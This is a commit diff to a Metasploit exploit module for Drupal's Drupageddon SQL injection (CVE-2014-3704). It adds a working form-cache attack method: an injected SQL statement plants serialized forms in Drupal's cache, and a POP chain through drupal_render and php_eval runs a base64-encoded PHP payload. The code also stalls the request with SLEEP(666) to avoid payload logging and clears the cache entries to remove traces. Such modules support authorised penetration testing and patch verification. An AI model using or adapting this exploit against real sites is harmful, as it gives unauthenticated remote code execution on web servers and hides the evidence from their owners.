Skip to content

Commit a636380

Browse files
Merge the new method into drupal_drupageddon.rb
1 parent 704514a commit a636380

File tree

2 files changed

+144
-159
lines changed

2 files changed

+144
-159
lines changed

modules/exploits/multi/http/drupal_cve2014_3704.rb

Lines changed: 0 additions & 146 deletions
This file was deleted.

modules/exploits/multi/http/drupal_drupageddon.rb

Lines changed: 144 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -16,13 +16,28 @@ def initialize(info={})
1616
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
1717
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
1818
in 7.32).
19+
20+
Two methods are available to trigger the PHP payload on the target:
21+
22+
- set TARGET 0:
23+
Form-cache PHP injection method (default).
24+
This uses the SQLi to upload a malicious form to Drupal's cache,
25+
then trigger the cache entry to execute the payload using a POP chain.
26+
27+
- set TARGET 1:
28+
User-post injection method.
29+
This creates a new Drupal user, adds it to the administrators group,
30+
enable Drupal's PHP module, grant the administrators the right to
31+
bundle PHP code in their post, create a new post containing the
32+
payload and preview it to trigger the payload execution.
1933
},
2034
'License' => MSF_LICENSE,
2135
'Author' =>
2236
[
2337
'SektionEins', # discovery
24-
'Christian Mehlmauer', # msf module
25-
'Brandon Perry' # msf module
38+
'WhiteWinterWolf', # form-cache PHP injection method
39+
'Christian Mehlmauer', # user-post PHP injection method
40+
'Brandon Perry' # user-post PHP injection method
2641
],
2742
'References' =>
2843
[
@@ -33,33 +48,134 @@ def initialize(info={})
3348
'Privileged' => false,
3449
'Platform' => ['php'],
3550
'Arch' => ARCH_PHP,
36-
'Targets' => [['Drupal 7.0 - 7.31',{}]],
51+
'Targets' =>
52+
[
53+
['Drupal 7.0 - 7.31 (form-cache PHP injection method)', {}],
54+
['Drupal 7.0 - 7.31 (user-post PHP injection method)', {}]
55+
],
3756
'DisclosureDate' => 'Oct 15 2014',
3857
'DefaultTarget' => 0
3958
))
4059

4160
register_options(
42-
[
43-
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
44-
])
61+
[
62+
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
63+
])
4564

4665
register_advanced_options(
47-
[
48-
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
49-
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
50-
])
66+
[
67+
OptInt.new('Wait', [true, "Number of seconds to wait before triggering the payload sent (form-cache method only).", 5]),
68+
OptString.new('AdminRole', [ true, "The administrator role (user-post method only)", 'administrator']),
69+
OptInt.new('Iter', [ true, "Hash iterations (2^ITER, user-post method only))", 10])
70+
])
71+
end
72+
73+
##
74+
# Form-cache PHP injection method
75+
# See details on:
76+
# https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/
77+
##
78+
79+
def sql_insert(id, value)
80+
curlyopen = rand_text_alphanumeric(8)
81+
curlyclose = rand_text_alphanumeric(8)
82+
value.gsub!('{', curlyopen)
83+
value.gsub!('}', curlyclose)
84+
85+
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
86+
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
87+
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
88+
end
89+
90+
def exploit_formcache
91+
form_build_id = 'form-' + rand_text_alphanumeric(43)
92+
93+
# Remove the malicious cache entries upon success.
94+
evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
95+
+ "'form_state_" + form_build_id + "'), 'cache_form');"
96+
evalstr << payload.encoded
97+
evalstr = Rex::Text.encode_base64(evalstr)
98+
# '<?php' tag required by php_eval().
99+
evalstr = "<?php eval(base64_decode(\\'#{evalstr}\\'));"
100+
# Don't count the backslashes.
101+
evalstr_len = evalstr.length - 2
102+
103+
# Serialized malicious form state.
104+
# The PHP module may be disabled (and should be).
105+
# Load its definition manually to get access to php_eval().
106+
state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
107+
state << 'i:0;s:22:"modules/php/php.module";'
108+
state << '}}}'
109+
# Initiates a POP chain in includes/form.inc:1850, form_builder()
110+
form = 'a:6:{'
111+
form << 's:5:"#type";s:4:"form";'
112+
form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
113+
form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
114+
form << 's:16:"#defaults_loaded";b:1;'
115+
form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
116+
form << 's:9:"#children";s:' + evalstr_len.to_s + ':"' + evalstr + '";'
117+
form << '}'
118+
119+
# SQL injection key lines:
120+
# - modules/user/user.module:2149, user_login_authenticate_validate()
121+
# - includes/database/database.inc:745, expandArguments()
122+
sql = sql_insert('form_state_' + form_build_id, state)
123+
sql << sql_insert('form_' + form_build_id, form)
124+
# Causes PHP script to timeout, avoiding payload logging.
125+
sql << 'SELECT SLEEP(666);'
126+
127+
# Use the login form to inject the malicious cache entry.
128+
# '!' follows redirects, used by some Drupal sites to enforce clean URLs.
129+
# Don't check the return code as it *will* timeout.
130+
send_request_cgi!({
131+
'uri' => normalize_uri(target_uri.path),
132+
'method' => 'POST',
133+
'vars_post' => {
134+
# Don't use 'user_login_block' as it may be disabled.
135+
'form_id' => 'user_login',
136+
'form_build_id' => '',
137+
"name[0;#{sql}#]" => '',
138+
# This field must be located *after* the injection.
139+
"name[0]" => '',
140+
'op' => 'Log in',
141+
'pass' => Rex::Text.rand_text_alpha(8)
142+
},
143+
'vars_get' => {
144+
'q' => 'user/login'
145+
}
146+
}, timeout=datastore['Wait'])
147+
148+
# Trigger the malicious cache entry using its form ID.
149+
send_request_cgi!({
150+
'uri' => normalize_uri(target_uri.path),
151+
'method' => 'POST',
152+
'vars_post' => {
153+
'form_id' => 'user_login',
154+
"form_build_id" => form_build_id,
155+
"name" => Rex::Text.rand_text_alpha(10),
156+
'op' => 'Log in',
157+
'pass' => Rex::Text.rand_text_alpha(10)
158+
},
159+
'vars_get' => {
160+
'q' => 'user/login'
161+
}
162+
})
51163
end
52164

165+
##
166+
# User-post PHP injection method
167+
##
168+
53169
def uri_path
54170
normalize_uri(target_uri.path)
55171
end
56172

57173
def admin_role
58-
datastore['ADMIN_ROLE']
174+
datastore['AdminRole']
59175
end
60176

61177
def iter
62-
datastore['ITER']
178+
datastore['Iter']
63179
end
64180

65181
def itoa64
@@ -133,7 +249,7 @@ def extract_form_ids(content)
133249
return form_build_id, form_token
134250
end
135251

136-
def exploit
252+
def exploit_newuser
137253

138254
# TODO: Check if option admin_role exists via admin/people/permissions/roles
139255

@@ -352,4 +468,19 @@ def exploit
352468
'cookie' => cookie
353469
)
354470
end
471+
472+
##
473+
# Main
474+
##
475+
476+
def exploit
477+
case datastore['TARGET']
478+
when 0
479+
exploit_formcache
480+
when 1
481+
exploit_newuser
482+
else
483+
fail_with(Failure::BadConfig, "Invalid target selected.")
484+
end
485+
end
355486
end

0 commit comments

Comments
 (0)